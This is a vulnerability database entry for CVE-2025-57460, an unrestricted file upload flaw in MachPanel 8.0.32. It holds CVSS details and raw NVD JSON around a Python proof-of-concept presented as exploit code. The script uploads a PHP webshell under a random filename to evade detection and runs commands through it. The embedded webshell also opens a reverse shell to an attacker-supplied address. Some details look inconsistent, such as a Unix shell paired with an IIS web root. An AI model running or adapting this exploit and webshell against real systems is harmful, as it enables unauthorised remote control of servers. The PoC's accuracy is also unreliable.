CVE-2025-57460

Description

File upload vulnerability in machsol machpanel 8.0.32 allows attacker to gain a webshell.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:machsol:machpanel:8.0.32:*:*:*:*:*:*:* - VULNERABLE

MachPanel 8.0.32

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys
import random
import string

# CVE-2025-57460 PoC - MachPanel File Upload to RCE
# Target: MachPanel 8.0.32
# Vulnerability: Unrestricted File Upload leading to Webshell

def generate_random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def upload_webshell(target_url, webshell_content):
    """
    Upload malicious webshell to MachPanel server
    """
    upload_endpoint = f"{target_url}/chapi/upload"
    
    # Generate random filename to avoid detection
    filename = f"{generate_random_string()}.php"
    
    files = {
        'file': (filename, webshell_content, 'application/x-php')
    }
    
    data = {
        'module': 'FileManager',
        'action': 'UploadFile',
        'path': '/inetpub/wwwroot/'
    }
    
    print(f"[*] Target: {target_url}")
    print(f"[*] Uploading webshell as: {filename}")
    
    try:
        response = requests.post(upload_endpoint, files=files, data=data, timeout=30)
        
        if response.status_code == 200:
            # Extract uploaded file path from response
            uploaded_path = response.json().get('filePath', '')
            print(f"[+] File uploaded successfully!")
            print(f"[+] Webshell URL: {uploaded_path}")
            return uploaded_path
        else:
            print(f"[-] Upload failed with status: {response.status_code}")
            return None
    except Exception as e:
        print(f"[-] Error: {str(e)}")
        return None

def execute_command(webshell_url, command):
    """
    Execute command via uploaded webshell
    """
    params = {'cmd': command}
    
    try:
        response = requests.get(webshell_url, params=params, timeout=30)
        return response.text
    except Exception as e:
        print(f"[-] Command execution failed: {str(e)}")
        return None

# PHP Webshell content (basic reverse shell)
webshell = """<?php
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    $output = shell_exec($cmd);
    echo "<pre>".$output."</pre>";
}
if(isset($_GET['rev'])){
    $ip = $_GET['rev'];
    $port = $_GET['p'] ?: 4444;
    $sock = fsockopen($ip, $port);
    exec("/bin/sh -i <&3 >&3 2>&3");
}
?>"""

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-57460.py <target_url>")
        print("Example: python cve-2025-57460.py http://victim.com")
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    
    # Step 1: Upload webshell
    webshell_url = upload_webshell(target, webshell)
    
    if webshell_url:
        # Step 2: Verify webshell access
        print("[*] Testing webshell...")
        result = execute_command(webshell_url, "whoami")
        if result:
            print(f"[+] Webshell is working! Output: {result}")
        else:
            print("[-] Webshell verification failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-57460
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-57460
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-57460/
[4] VulDB https://vuldb.com/cve/CVE-2025-57460
[5] https://github.com/aljoharasubaie/CVE-2025-57460/blob/main/README.md
[6] https://www.machsol.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-57460", "sourceIdentifier": "[email protected]", "published": "2025-12-29T14:15:56.617", "lastModified": "2025-12-31T20:14:09.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File upload vulnerability in machsol machpanel 8.0.32 allows attacker to gain a webshell."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:machsol:machpanel:8.0.32:*:*:*:*:*:*:*", "matchCriteriaId": "A47E4083-597E-43A8-97E5-405086A2A6A3"}]}]}], "references": [{"url": "https://github.com/aljoharasubaie/CVE-2025-57460/blob/main/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.machsol.com/", "source": "[email protected]", "tags": ["Product"]}]}}